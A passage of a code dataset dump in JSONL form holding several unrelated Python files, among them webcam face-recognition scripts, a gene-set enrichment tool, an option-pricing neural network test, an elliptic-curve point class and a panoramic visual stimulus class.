print('已存文件夹照片未检测到人脸',file)\n                                continue\n                        if np.mean(euc_list) <= 0.8:\n                            if len(files) <= 100:\n                                savename = os.path.join(i, str(time.time()) + '.png')\n                                # print('saved image')\n                                save_flag = True\n                                return True,savename,img\n\n                            else:\n                                save_flag = True\n                                print('照片已满')\n                                return False,None,None\n                        else:\n                            print('文件夹名称',i)\n                            print('该文件夹不是同一个人')\n                            continue\n\n                    else:\n                        euc_list = []\n                        for file in files[:10]:\n                            # print(file)\n                            vs_file = os.path.join(root, file)\n                            vs_img = cv2.imread(vs_file)\n                            save_label = vs_file.split('/')[-2]\n                            faces_vs, probs,predictions = face_recognition.identify(vs_img)\n                            if len(faces_vs) >= 1:\n                                euc = float(\n                                    '%.2f' % np.sqrt(\n                                        np.sum(np.square(np.subtract(faces[0].embedding, faces_vs[0].embedding)))))\n                                print('欧式距离',euc)\n\n                                euc_list.append(euc)\n                                # if len(files) <3:\n                            else:\n                                print('已存文件夹照片未检测到人脸',file)\n                                continue\n                        if np.mean(euc_list) <= 1:\n                            if len(files) <= 100:\n                                savename = os.path.join(i, str(time.time()) + '.png')\n                                print(savename)\n\n                                # print('saved image')\n                                save_flag = True\n                                return True,savename,img\n                            else:\n                                save_flag = True\n                                print('照片已满')\n                                return False,None,None\n                        else:\n                            print('文件夹名称', i)\n                            print('该文件夹不是同一个人')\n                            continue\n\n            if not save_flag:\n                save_dir = os.path.join(root_dir, str(max(list(map(int, list(i.split('/')[-1] for i in dir_list)))) + 1))\n                if not os.path.exists(save_dir):\n                    os.mkdir(save_dir)\n                savename = os.path.join(save_dir, str(time.time()) + '.png')\n                print(savename)\n\n                # print('saved image')\n                save_flag = True\n                return True, savename, img\n\n#保存人脸函数\ndef save_img_func(img,face_recognition):\n    flag,savename,img = save_img(img,face_recognition)\n    if flag:\n        cv2.imwrite(savename,img)\n        print('saved image')\n    else:\n        pass\n\ndef main():\n    detect_flag_list = []\n    video_capture = cv2.VideoCapture(0)\n    face_recognition = face.Recognition()\n    schedule.every().day.at(\"00:30\").do(schedule_jobs)\n\n    count = 0\n    prob_list = []\n    change_flag = False\n\n    while True:\n\n        # print('*'*40)\n        count += 1\n        if count % 30 == 1:\n            change_flag = True\n            prob_list = []\n        # print(count)\n        schedule.run_pending()\n        ret, frame = video_capture.read()\n\n        faces,prob,predictions = face_recognition.identify(frame)\n        # print(predictions)\n        prob_list.append(prob)\n\n\n        # if prob_list and len(prob_list) % 100 == 0:\n        #     # add_overlays(frame,faces[0].name,faces[0])\n        #     print(max(prob_list))\n        #     prob_list = []\n\n\n\n\n        print('概率值',prob)\n        img = frame.copy()\n        if len(faces) >= 1:\n            if np.mean(prob_list) > np.sum(predictions[0][-3:-1]):\n            # if prob > 0.5:\n                detect_flag = 1\n                detect_flag_list = []\n\n                if change_flag:\n                    # facename = faces[0].name\n                    facename = 'Old member'\n                    change_flag = False\n                    prob_list = []\n                print(detect_flag)\n            else:\n                detect_flag = 2\n                detect_flag_list.append(detect_flag)\n                if change_flag:\n                    facename = 'New customer'\n                    change_flag = False\n                    prob_list = []\n                print(detect_flag)\n\n            add_overlays(img, facename,faces[0])\n        else:\n            detect_flag = 0\n            # detect_flag_list = []\n            print(detect_flag)\n\n\n        try:\n            if len(detect_flag_list) >= 10:\n                save_img_func(frame, face_recognition)\n                # print('saved image')\n        except:\n            print('检测异常')\n\n\n        cv2.imshow('Video', img)\n        if cv2.waitKey(1) & 0xFF == ord('q'):\n            break\n\n        # When everything is done, release the capture\n    video_capture.release()\n    cv2.destroyAllWindows()\n\n\n\nif __name__ == '__main__':\n    main()","sub_path":"start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":8196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"186376139","text":"#!/usr/bin/python\r\n# Copyright 2014 BARRIOT Roland\r\n# This program is free software: you can redistribute it and/or modify\r\n#    it under the terms of the GNU General Public License as published by\r\n#    the Free Software Foundation, either version 3 of the License, or\r\n#    (at your option) any later version.\r\n#\r\n#    This program is distributed in the hope that it will be useful,\r\n#    but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\r\n#    GNU General Public License for more details.\r\n#\r\n#    You should have received a copy of the GNU General Public License\r\n#    along with this program.  If not, see <http://www.gnu.org/licenses/>.+\r\n# pydoc -w foo\r\n\r\nimport argparse\r\nfrom os.path import isfile\r\nfrom scipy.stats import binom\r\nfrom scipy.stats import chi2_contingency\r\nimport numpy as np\r\nfrom math import log \r\n\r\n# SCRIPT PARAMETERS\r\n# e.g. ./search_enriched_sets.py --sets EcolA.biocyc.sets --query 'ALAS ARGS ASNS ASPS CYSS GLTX GLYQ GLYS HISS ILES'\r\nparser = argparse.ArgumentParser(description='Search enriched categories in provided gene set')\r\nparser.add_argument('--query', required=True, help='Query set.')\r\nparser.add_argument('--sets', required=True, help='Target sets (categories).')\r\nparser.add_argument('--alpha', required=False, default=0.05, help='Singnificance threshold.')\r\nparser.add_argument('--adjust', required=False, action=\"store_true\", help='Adjust for multiple testing (FDR).')\r\nparser.add_argument('--test', required=False, default=1, type = int, choices=range(1,4), help='1-binomial(default) 2-coverage 3-chi2')\r\nparser.add_argument('--numOutput', required=False, default=10, type=int,help='number of output to be print, put 0 to have all')\r\nparser.add_argument('--chi2_corrected', required=False, default = 'False', choices = ['True','False'],help = 'add corection to\\\r\n chi2 test --True less stringent see scypi.stats.chi2_contingency ')\r\nparam = parser.parse_args()\r\n# take 2 arguments + 5 optional\r\n# --query list of gene of interest\r\n# --sets file tsv with id \\t name \\t gene\\sgene..\\n\r\n# --alpha alpha threshold for p-value\r\n# --test type of test use by this script\r\n# --numOutput number of output to be print\r\n# --chi2_corrected add corection to chi2 test\r\n\r\n\r\n# SCRIPT FUNCTION\r\nclass Identifiers(object) :\r\n\tdef __init__(self, text = None, filename = None, name = None):\r\n\t\tself.name = name\r\n\t\tself.ids = []\r\n\t\tself.index = {}\r\n\t\tif text is not None:\r\n\t\t\tself.load(text)\r\n\t\telif filename is not None:\r\n\t\t\tself.load(filename)\r\n\r\n\tdef load(self, text):\r\n\t\tif isfile(text):\r\n\t\t\twith open(text) as f:\r\n\t\t\t\tcontent = f.read()\r\n\t\t\t\tlines = content.split('\\n')\r\n\t\t\t\ti=0\r\n\t\t\t\tfor l in lines:\r\n\t\t\t\t\tif l!='':\r\n\t\t\t\t\t\twords = l.split()\r\n\t\t\t\t\t\tfor w in words:\r\n\t\t\t\t\t\t\tif w not in self.index:\r\n\t\t\t\t\t\t\t\tself.index[w] = i\r\n\t\t\t\t\t\t\t\ti += 1\r\n\t\t\t\t\t\t\t\tself.ids.append(w)\r\n\t\telse: # parse string\r\n\t\t\ti=0\r\n\t\t\twords = text.split()\r\n\t\t\tfor w in words:\r\n\t\t\t\tif w not in self.index:\r\n\t\t\t\t\tself.index[w] = i\r\n\t\t\t\t\ti += 1\r\n\t\t\t\t\tself.ids.append(w)\r\n# class use for\t\t\t\t\t\r\n# stock result of comparaison between query and one set\r\nclass ComparedSet(object):\r\n\tdef __init__(self, id, name = '', common = 0, size = 0, pvalue = 1, elements = [], common_elements = [],\\\r\n\tproportion_coverage= 0,ic = 0, test_indep='false'):\r\n\t\tself.id = id\r\n\t\tself.name = name\r\n\t\tself.common = common\r\n\t\tself.size = size\r\n\t\tself.pvalue = pvalue\r\n\t\tself.elements = elements\r\n\t\tself.common_elements = common_elements\r\n\t\tself.ic = ic\r\n\t\tself.test_indep = test_indep\r\n\t\t\r\n\r\n''' \r\n\t\tFunction coverage(common_elements, target_size, query_size)\r\nInput :\r\n\t\tint --> common_elements -- > number of commun element set and\r\n\t\t\tquery set\r\n\t\tint --> target_size -- > number of gene in current set \r\n\t    int --> query_size -- > size of query\r\noutput :\r\n\t\tfloat --> coverage proportion \t\r\n\t\t\r\nCompute the coverage between 2 sets :\r\n(common_elements/query_size)*(common_elements/target_size)\r\ncoverage(5,10,10) = 0.25\r\n'''\r\ndef coverage(common_elements, target_size, query_size):\r\n\tres_coverage = (common_elements/query_size)*(common_elements/target_size)\r\n\treturn res_coverage\r\n\t\r\n'''\r\n\t\tFunction info_content(population_size, element)\r\nInput: \r\n\t\tint --> population_size --> size of the pop (number of gene in\r\n\t\t\tall the set)\r\n\t\tint --> element --> number of gene in this set\r\nOutput:\r\n\t\tfloat --> Information Content --> Information content of the \r\n\t\t\ttarget set \r\n\t\t\t\r\nCompute the Information Content of element in population_size:\r\n-log10(element/population_size)\r\ninfo_cotent(1000,1) = 2.9999999\t\t\r\n'''\r\n\r\ndef info_content(population_size,element):\r\n\treturn(-log(element/population_size,10))\r\n\t\r\n'''\r\n\t\tProcedure print_result (results, test_type, number_output, alpha, \r\n\t\t\tFDR) \r\n\t\tInput:\r\n\t\t\t\tlist --> results -->  list fill with ComparedSet\r\n\t\t\t\t\tobject sorted by p-value or coverage \r\n\t\t\t\tint --> test_type --> int point out the test\r\n\t\t\t\tint --> number_output --> number of row print\r\n\t\t\t\tfloat --> alpha --> aplha thresold for test 1 and 3\r\n\t\t\t\tboolean --> FDR --> correction of alpha threshold for \r\n\t\t\t\t\ttest 1 and 3\r\n\t\tOutput:\r\n\t\t\tnone\r\nPrint result of this script \r\n'''\r\ndef print_result(results=[], test_type=param.test, number_output= param.numOutput, alpha = param.alpha, FDR= param.adjust):\r\n\t# counter of number of row already printed\r\n\tcounter = 0\r\n\t# indice for FDR correction\r\n\ti = 1\r\n\tsortie = False\t\r\n\t# header\r\n\tif test_type == 1 or test_type == 3:\r\n\t\tprint('target_id', 'target _name','target_Information_Content', 'pvalue', 'elements_in_common', 'target_size', 'common_gene',sep='\\t')\r\n\tif test_type == 2:\r\n\t\tprint('target_id', 'target _name','target_Information_Content', 'coverage', 'elements_in_common', 'target_size',  'common_gene',sep='\\t')\r\n\tfor r in results:\r\n\t\t# check number of print\r\n\t\tif sortie == False:\r\n\t\t\tif test_type == 1 or test_type == 3:\r\n\t\t\t\t# alpha threshold\r\n\t\t\t\tif r.pvalue > alpha: exit(0)\r\n\t\t\t\t# FDR\r\n\t\t\t\telif param.adjust and r.pvalue > alpha * i / len(results): exit(0)\r\n\t\t\t# avoid trivial output for coverage test\r\n\t\t\telif test_type == 2:\r\n\t\t\t\tif r.pvalue == 0 : exit(0)\t\r\n\t\t\t# OUTPUT\r\n\t\t\tprint(r.id, r.name, r.ic, r.pvalue, r.common, r.size, ', '.join(r.common_elements),sep='\\t')\r\n\t\t\ti=i+1\r\n\t\t\tcounter+=1\r\n\t\t\tif counter >= number_Output and number_Output > 0:\r\n\t\t\t\tsortie=True\r\n\treturn None\r\n\r\n\r\n# LOAD QUERY\r\nquery = Identifiers(param.query)\r\n\r\n# LOAD REFERENCE SETS\r\n# stock in a dict[identifiant]{'name' = name of set, 'elements' = genes}\r\n# Output dict and number of gene in all the set\r\ndef load_sets(filename):\r\n\tsets = {}\r\n\tids={}\r\n\twith open( filename ) as f:\r\n\t\tcontent = f.read()\r\n\t\tlines = content.split('\\n')\r\n\t\tfor l in lines:\r\n\t\t\twords = l.split('\\t')\r\n\t\t\tif len(words) > 2 and not words[0].startswith('#'):\r\n\t\t\t\tid = words.pop(0)\r\n\t\t\t\tname = words.pop(0)\r\n\t\t\t\tsets[ id ] = { 'name': name, 'elements': words}\r\n\t\t\t\t# use a dict to store each gene as key. this way it can't be twice the same gene in.\r\n\t\t\t\t# use to count number of gene in the sets file\r\n\t\t\t\tfor w in words:\r\n\t\t\t\t\tids[w] = 1\r\n\treturn [ sets, len( ids.keys() ) ]\r\n\t\r\n# ASSIGNEMENT\r\n#  dico(sets), number of gene in all set (population_size)\r\n(sets, population_size) = load_sets(param.sets)\r\n# query size number of gene in query\r\nquery_size = len(query.ids)\r\n\r\n# number of outoput user want\r\nnumber_Output = param.numOutput\r\n\r\n# param value test choice\r\ntest_type = int(param.test)\r\n\r\n# list wich will be fill with result \r\nresults = []\r\n\r\n#assign value of correction for chi2_corrected test\r\nif param.chi2_corrected == 'True':\r\n\tbooleen = True\r\nif param.chi2_corrected == 'False':\r\n\tbooleen = False\r\n\r\n# EVALUATE SETS\r\n# default choice binomial law\r\nif test_type == 1:\r\n\tfor id in sets:\r\n\t\telements = sets[ id ][ 'elements' ]\r\n\t\tcommon_elements = set(elements).intersection( query.ids )\r\n\t\t# p_success = 384/2064, 152 attempts, 61 success\r\n\t\t#~ pval = binom.pmf(61, 152, 384.0/2064)\r\n\t\t#~ for k in xrange(62,153): pval += binom.pmf(k, 152, 384.0/2064)\r\n\t\t#~ print \"sum binom.pmf(61..152,152, 384/2064) = %s\" % ( pval )\r\n\t\t#~ print \"cdf binom.cdf(>=61,152, 384/2064) = \"+str( binom.cdf(152-61,152, 1- (384.0/2064)) )\r\n\t\t# binomial law\r\n\t\tpval = binom.cdf( query_size - len(common_elements), query_size, 1 - float(len(elements))/population_size)\r\n\t\t# Information Content\r\n\t\ticontent = info_content(population_size,len(elements))\r\n\t\t# r class ComparedSet\r\n\t\tr = ComparedSet( id, sets[id]['name'], len(common_elements), len(elements), pval, elements, common_elements,\\\r\n\t\t ic = icontent )\r\n\t\t# fill result with each sets\r\n\t\tresults.append( r )\r\n\t# PRINT SIGNIFICANT RESULTS\r\n\t# sort result by p-value\r\n\tresults.sort(key=lambda an_item: an_item.pvalue)\r\n\r\n\r\n# choice coverage\r\nif test_type == 2:\r\n\tfor id in sets:\r\n\t\telements = sets[ id ][ 'elements' ]\r\n\t\tcommon_elements = set( elements ).intersection( query.ids )\r\n\t\ttarget_size = len(set( elements ))\r\n\t\t# comput coverage here pval not a pvalue in statiscal term here pval = % of coverage\r\n\t\tpval = coverage(len( common_elements ), target_size,query_size )\r\n\t\t# Information Content\r\n\t\ticontent = info_content(population_size,len(elements))\r\n\t\t# r class ComparedSet\r\n\t\tr = ComparedSet( id, sets[id]['name'], len(common_elements), len(elements), pval, elements, common_elements,\\\r\n\t\t ic=icontent )\r\n\t\t# fill result with each sets\r\n\t\tresults.append( r )\r\n\t# sort result by % of coverage max --> min\r\n\tresults.sort(key=lambda an_item: an_item.pvalue,reverse = True)\r\n\r\n\r\n# choice chi2\r\nif test_type == 3:\r\n\tfor id in sets:\r\n\t\telements = sets[ id ][ 'elements' ]\r\n\t\tcommon_elements = set( elements ).intersection( query.ids )\r\n\t\t# commun element between query and target\r\n\t\tnbCommun = len(common_elements)\r\n\t\t# target (set) size\r\n\t\ttarget_size = len(set( elements ))\r\n\t\t# contingency table\r\n\t\tobs= [[nbCommun, query_size-nbCommun], [target_size-nbCommun, population_size-query_size-target_size+nbCommun]]\r\n\t\t# chi2 test\r\n\t\tvaltest, pval, df, array = chi2_contingency( obs, correction = booleen)\r\n\t\t# Information Content\r\n\t\ticontent = info_content(population_size,len(elements))\r\n\t\t# r class ComparedSet\r\n\t\tr = ComparedSet( id, sets[id]['name'], len(common_elements), len(elements), pval, elements, common_elements,\\\r\n\t\t ic = icontent)\r\n\t\t# fill result with each sets\r\n\t\tresults.append( r )\r\n\tresults.sort(key=lambda an_item: an_item.pvalue)\r\n\t\r\nprint_result(results)\r\n","sub_path":"Search_enriched_sets_V1_1.py","file_name":"Search_enriched_sets_V1_1.py","file_ext":"py","file_size_in_byte":10312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"11086498","text":"import numpy as np\r\nimport pandas as pd\r\n\r\nimport tensorflow as tf\r\nfrom tensorflow import keras\r\nimport matplotlib.pyplot as plt\r\n\r\nfrom StochasticProcesses import Stochastic_Processes\r\nfrom Payoffs import Payoffs\r\n\r\nfrom TD_net_v4 import TD_net, td_metrics\r\n\r\n#%%\r\n\r\n#output_shape = payoffs[0].shape\r\noutput_shape = ()\r\n\r\nnodes_per_layer = 64\r\nN_hidden_layers = 5\r\nhidden_activation = keras.activations.relu\r\noutput_activation = keras.activations.linear\r\n\r\n# TD MODEL\r\ntd_model = TD_net(\r\n\r\n    #hidden layers\r\n    nodes_per_layer = nodes_per_layer,\r\n    N_hidden_layers = N_hidden_layers,\r\n    hidden_activation = hidden_activation,\r\n    \r\n    #output\r\n    output_shape = output_shape,             \r\n    output_activation = output_activation,\r\n    row_wise_output = False\r\n)\r\n\r\ntd_model.compile(\r\n    optimizer = tf.keras.optimizers.SGD(),\r\n    metrics = [td_metrics.Temporal_MAE, td_metrics.Prediction_MAE]\r\n)\r\n\r\n#%%\r\n\r\ndef input_creation(strike, n_steps,specs, sample_size, td_input_count, central_weight ):\r\n    \r\n    walks = Stochastic_Processes.generate_walks( **specs, N_walks = sample_size, verbose =False )\r\n    \r\n    walks_remove_dimension = walks[:,:,0]\r\n    df_walks = pd.DataFrame(walks_remove_dimension)\r\n    \r\n    df_walks_sorted = df_walks.sort_values(by =n_steps,ignore_index=True)\r\n    np_sorted_walks = df_walks_sorted.to_numpy()\r\n    walks = np_sorted_walks[..., np.newaxis]\r\n\r\n    s = walks.shape\r\n    timedim = np.tile( range( s[1] ), s[0] ).reshape(*s[0:-1],1)\r\n    walks_with_time = np.concatenate( [walks,timedim], axis = -1 )\r\n    payoffs = np.maximum( walks[:,-1,0] - 100, 0 ) \r\n    \r\n    central_td_inputs_count = int(central_weight * td_input_count)\r\n    central_indexs = df_walks_sorted.index[abs(df_walks_sorted[n_steps] - strike) < 0.0001].tolist()\r\n    central_index = central_indexs[int(len(central_indexs)/2)]\r\n    lowest_central_index = central_index - int(central_td_inputs_count/2)\r\n    highest_central_index = central_index + int(central_td_inputs_count/2)\r\n    central_walks_td = walks_with_time[lowest_central_index : highest_central_index]\r\n    central_payoffs_td = payoffs[lowest_central_index : highest_central_index]\r\n\r\n    sample_size = len(walks)\r\n    smallest = df_walks_sorted[n_steps][0]\r\n    largest = df_walks_sorted[n_steps][sample_size-1]\r\n    expected_range = largest - smallest\r\n    \r\n    walks_remaining = td_input_count - len(central_walks_td)\r\n    \r\n    numb_walks_left_sides = int(walks_remaining / 2)     # number of walks we can generate on the left / right\r\n    numb_walks_right_sides = int(walks_remaining / 2)\r\n    \r\n    \r\n    left_buckets = int(lowest_central_index / numb_walks_left_sides)\r\n    right_buckets = int(((sample_size-1) - highest_central_index) / numb_walks_right_sides)\r\n    \r\n    indexs_left = [i for i in range(0,lowest_central_index,left_buckets)]\r\n    indexs_right = [i for i in range(highest_central_index,sample_size-1,right_buckets)]\r\n    \r\n    side_indexs = indexs_left + indexs_right\r\n    \r\n    side_walks_td = (walks_with_time[side_indexs])\r\n    side_payoffs_td = (payoffs[side_indexs])\r\n    \r\n    walks_td = np.vstack((central_walks_td, side_walks_td))\r\n    payoffs_td = np.hstack((central_payoffs_td, side_payoffs_td))\r\n    \r\n    return walks_td,payoffs_td\r\n\r\n\r\n#%%\r\n\r\nfig2, ax2 = plt.subplots(1,1)\r\n\r\nax2.set_xlabel(\"Number of Steps\")\r\nax2.set_ylabel(\"RMSE\")\r\nax2.title.set_text(\"RMSE against number of steps - varying times\")\r\n\r\ndts = [1/48,1/24,1/16,1/12,5/48,1/8]\r\n\r\nfor time in range(0,12,2):\r\n    \r\n    rmses = []\r\n    dt_list = []\r\n        \r\n    for dt in dts:\r\n        \r\n        process_specs = {\r\n        \"processdicts\" : [\r\n                {\"process\" : \"Bates\", \"s0\" : 100, 'mu': 0.05, 'v0': 0.04, 'rho' : -0.2, 'theta': 0.04, 'xi': 0.04, 'kappa': 0.3, 'lamb': 0.75, 'k': 0.0625, \r\n                 \"randomize_spot\" : [-20,20] \r\n                 },\r\n        ],\r\n        \"d_t\" : dt / 360, \r\n        \"N_steps\" : 10,\r\n        \"batch_size\" : 1000,\r\n}\r\n        \r\n        sample_size = 5000000\r\n\r\n        discretized_space = np.linspace(80,120,21) \r\n        discretized_time = range( 0, process_specs[\"N_steps\"] + 1, 1 )\r\n        \r\n        lower_bounds = discretized_space[:-1]\r\n        upper_bounds = discretized_space[1:]\r\n        bin_centers = ( lower_bounds + upper_bounds ) / 2 \r\n        \r\n        walks = Stochastic_Processes.generate_walks( **process_specs, N_walks = sample_size, verbose =False )\r\n        \r\n        payoffs = np.maximum( walks[:,-1,0] - 100, 0 ) \r\n\r\n        conditional_expectation = pd.DataFrame() \r\n\r\n        for t in discretized_time:\r\n            \r\n            walks_t = walks[:,t,0]  \r\n            \r\n            for lb,ub,mid in zip(lower_bounds, upper_bounds, bin_centers):\r\n                \r\n                in_discrete_bin = ( lb <= walks_t ) * ( walks_t <= ub ) \r\n                \r\n                subset_of_payoffs_with_condition = payoffs[in_discrete_bin] \r\n                \r\n                conditional_expectation.loc[t,mid] = np.mean( subset_of_payoffs_with_condition )\r\n                \r\n        \r\n        dt_list.append(dt)\r\n        \r\n        walks_td,payoffs_td = input_creation(100, 10, process_specs, 20000000, 500, 0.333)\r\n    \r\n        td_hist = td_model.fit( \r\n    \r\n        walks_td,\r\n        payoffs_td,\r\n        \r\n        lr = 0.00001 ,\r\n        batch_size=2,\r\n        lamb = 0.3,\r\n        validation_split=0,\r\n        epochs = 30,\r\n        verbose = True,\r\n        )\r\n        \r\n    \r\n        errors = []\r\n    \r\n        for space in range(81,121,2):\r\n            \r\n            t_pred = float(td_model.predict([[space,time]]))\r\n            montecarlo = conditional_expectation[space][time]\r\n            error = np.sqrt((montecarlo-t_pred)**2)\r\n            errors.append(error)\r\n            \r\n        rmse = sum(errors)/len(errors)\r\n        rmses.append(rmse)\r\n        \r\n    ax2.plot(dts,rmses,label = f\"time = {time}\",linestyle='--', marker='o')\r\n    \r\nax2.legend()","sub_path":"tests/call_options_varying_dt1.py","file_name":"call_options_varying_dt1.py","file_ext":"py","file_size_in_byte":5912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"242132358","text":"class Point:\n    def __init__(self, x, y):\n        self.x = x\n        self.y = y\n\n    def m_inverse(self, number, mod):\n        for i in range(1, mod):\n            if (mod * i + 1) % number == 0:\n                return (mod * i + 1) // number\n        return 1\n\n    def check_on_curve(self, curve, mod):\n        return (self.y ** 2) % mod == (self.x ** 3 + curve[0] * self.x + curve[1]) % mod\n\n    def add(self, other, curve, mod):\n        if self.check_on_curve(curve, mod) and other.check_on_curve(curve, mod):\n            if isinstance(self, str) and isinstance(other, str):\n                return \"Point's at infinity\"\n            elif isinstance(self, str):\n                return other\n            elif isinstance(other, str):\n                return self\n            elif self.x == other.x and self.y == other.y:\n                alpha_numerator = 3 * self.x ** 2 + curve[0]\n                alpha_denominator = 2 * self.y\n            elif self.x == other.x:\n                return \"Point's at infinity\"\n            else:\n                alpha_numerator = other.y - self.y\n                alpha_denominator = other.x - self.x\n            alpha_denominator_m_i = self.m_inverse(alpha_denominator, mod)\n            alpha = (alpha_numerator * alpha_denominator_m_i) % mod\n\n            result_x = (alpha ** 2 - self.x - other.x) % mod\n            result_y = (alpha * (self.x - result_x) - self.y) % mod\n            return result_x, result_y\n        else:\n            return \"Point isn't on curve\"\n\n\npoint1 = Point(0, 2)\npoint2 = Point(3, 0)\npoint3 = point1.add(point2, (1, 4), 17)\nprint(point3)","sub_path":"point.py","file_name":"point.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"323409763","text":"from sklearn.linear_model import LogisticRegression\nimport  pickle\n\n# Function for Logistic Regression to predict labels using training and test data\ndef logistic_regression(train, test, trainLabels):\n    # Declare logistic regression classifier\n    classifier = LogisticRegression(random_state=0, solver='lbfgs',multi_class='multinomial')\n    \n    filename = 'logistic_regression_model.sav'\n    clf = pickle.load(open(filename, 'rb'))\n    # clf = classifier.fit(train, trainLabels)\n    # pickle.dump(clf, open(filename, 'wb'))\n    prediction = clf.predict(test)\n    \n    return prediction\n","sub_path":"notebook/logistic_regression.py","file_name":"logistic_regression.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"605868141","text":"import pickle\r\nimport os\r\n\r\ndire=r\"C:\\Documents and Settings\\TOSHIBA\\My Documents\\My Documents\\Takahiro\\Dropbox\\nicoDL_dev\\nicoDL\\data\\library_ALL.ndl\"\r\nfile = open(dire)\r\nlib = pickle.load(file)\r\nfile.close()\r\n\r\nedlist=[]\r\nf = open(os.path.join(os.getcwd(), \"log.txt\"), \"w\")\r\nfor item in lib:\r\n    if item[\"format\"] == \"MOVIE\":\r\n        #print item\r\n        if item[\"state\"] == \"True\":\r\n            continue\r\n        for key in item.iterkeys():\r\n            f.write(str(key))\r\n            f.write(\" : \")\r\n            f.write(str(item[key]))\r\n            f.write(\"\\n\")\r\n        #raw_input()\r\n        f.write(\"\\n\")\r\n    else:\r\n        pass\r\nf.close()\r\n\r\n","sub_path":"Python/nicoDL_dev/nicoDL_LibraryViewer/viewerCUI.py","file_name":"viewerCUI.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"533496924","text":"# Import OpenCV2 for image processing\nfrom picamera import PiCamera\nfrom picamera.array import PiRGBArray\nimport cv2\nimport time\n\n# Import numpy for matrices calculations\nimport numpy as np\n\n# Create Local Binary Patterns Histograms for face recognization\nrecognizer = cv2.face.LBPHFaceRecognizer_create()\n\n# Load the trained mode\nrecognizer.read('trainer/trainer.yml')\n\n# Load prebuilt model for Frontal Face\ncascadePath = \"/home/pi/opencv/opencv-3.3.1/data/haarcascades/haarcascade_frontalface_default.xml\"\n\n# Create classifier from prebuilt model\nfaceCascade = cv2.CascadeClassifier(cascadePath);\n\n# Set the font style\nfont = cv2.FONT_HERSHEY_SIMPLEX\n\n# Initialize and start the video frame capture\ncamera = PiCamera()\ncamera.resolution = (640, 480)\ncamera.framerate = 32\nrawCapture = PiRGBArray(camera, size = (640, 480))\n\ntime.sleep(0.1)\n# Loop\nfor frame in camera.capture_continuous(rawCapture, format = \"bgr\", use_video_port = True):\n\n    # Read the video frame\n    image = frame.array\n\n    # Convert the captured frame into grayscale\n    gray = cv2.cvtColor(image,cv2.COLOR_BGR2GRAY)\n\n    # Get all face from the video frame\n    faces = faceCascade.detectMultiScale(gray, 1.2,5)\n\n    # For each face in faces\n    for(x,y,w,h) in faces:\n\n        # Create rectangle around the face\n        cv2.rectangle(image, (x - 20, y - 20), (x + w + 20,y + h + 20), (0, 255, 0), 4)\n\n        # Recognize the face belongs to which ID\n        Id = recognizer.predict(gray[y: y + h, x: x + w])\n\n        # Check the ID if exist \n        if(Id[0] == 5):\n            Id = \"one\"\n        #If not exist, then it is Unknown\n        elif(Id[0] == 4):\n            Id = \"two\"\n        else:\n            print(Id)\n            Id = \"Unknown\"\n\n        # Put text describe who is in the picture\n        cv2.rectangle(image, (x - 22,y - 90), (x + w + 22, y - 22), (0, 255, 0), -1)\n        cv2.putText(image, str(Id), (x,y - 40), font, 2, (255, 255, 255), 3)\n\n    # Display the video frame with the bounded rectangle\n    cv2.imshow('im', image) \n\n    # If 'q' is pressed, close program\n    if cv2.waitKey(10) & 0xFF == ord('q'):\n        break\n\n\t# clear the stream\n    rawCapture.truncate(0)\n","sub_path":"face_recognition.py","file_name":"face_recognition.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"307499518","text":"import numpy as np\nfrom math import cos, pi,sin\nimport time\n\nfrom PanoFunctionsGL import *\n\nclass PanoStimGL:\n\n    l, L = 250, 250\n    mesh_size = [l,L]\n    def __init__(self, type = None, pos_angles = None, expansion = None,\n                 size = None, ori = None, speed = None, flip = None,\n                 fps = None, sf = None, tf = None, wrap = None, duration = None,\n                 mask = True, BG_COLOR = None, stretch=True):\n        \n        self.ori = 0 if ori is None else ori\n        self.speed = (0.,0.) if speed is None else speed\n        \n        self.tf = (0,0) if tf is None else tf\n        self.fps = 60. if fps is None else fps\n        self.delta_time = 1./self.fps\n        self.flip = 0 if flip is None else flip\n        self.duration = 0 if duration is None else duration\n        self.is_finished = False\n        self.timer = 0\n        self.expansion = 0 if expansion is None else expansion\n        self.size_ratio = [1.,1.]\n        self.mask = mask\n        self.wrap = (True,True) if wrap is None else wrap\n        self.stretch = stretch\n        \n        if type in ['sine', 'square', 'black', 'white']:\n            self.type = type\n        else:\n            self.type = 'checkerboard'\n\n        self.pos_angles = [0.,0.] if pos_angles is None else np.float32(pos_angles)\n        \n        self.BG_COLOR = 127 if BG_COLOR is None else BG_COLOR\n        \n        self.sf = (0.1,0.1) if sf is None else sf\n        self.sfUV = (lon2u(self.sf[0]), lat2v(self.sf[1]))\n        # SIZE\n        if size is None:\n            size = (10.,10.)\n        u_start, u_end = lon2u(-size[0]/2), lon2u(size[0]/2)\n        v_start, v_end = lat2v(-size[1]/2), lat2v(size[1]/2)\n        u, v = u_end - u_start, v_end - v_start\n        self.size = size\n        self.expanded_size = [i for i in size]\n        self.sizeUV = (u,v)\n        \n        self.basemesh, self.indices = self.create_rect_mesh(self.l, self.L, self.sizeUV)\n        self.mesh = self.basemesh\n        self.colors =  self.create_colors(self.l, self.L, type= self.type)\n        self.tex_coords = self.create_tex_coords(self.l, self.L)\n        \n    def update(self):\n        if not self.is_finished:\n            if self.duration != 0 and self.timer <= self.duration:\n                self.timer += self.delta_time\n                self.update_pos(self.delta_time)\n                self.colors = self.translate_colors()\n                if self.expansion:\n                    self.expanded_size = [i + self.expansion*self.delta_time for i in self.expanded_size]\n            else:\n                self.is_finished = True\n            \n    def update_pos(self, delta_time):\n        self.pos_angles = [self.pos_angles[i] + self.speed[i]*delta_time for i in range(2)]\n        if self.wrap[0]:\n            corners = self.get_tex_corners()\n            if 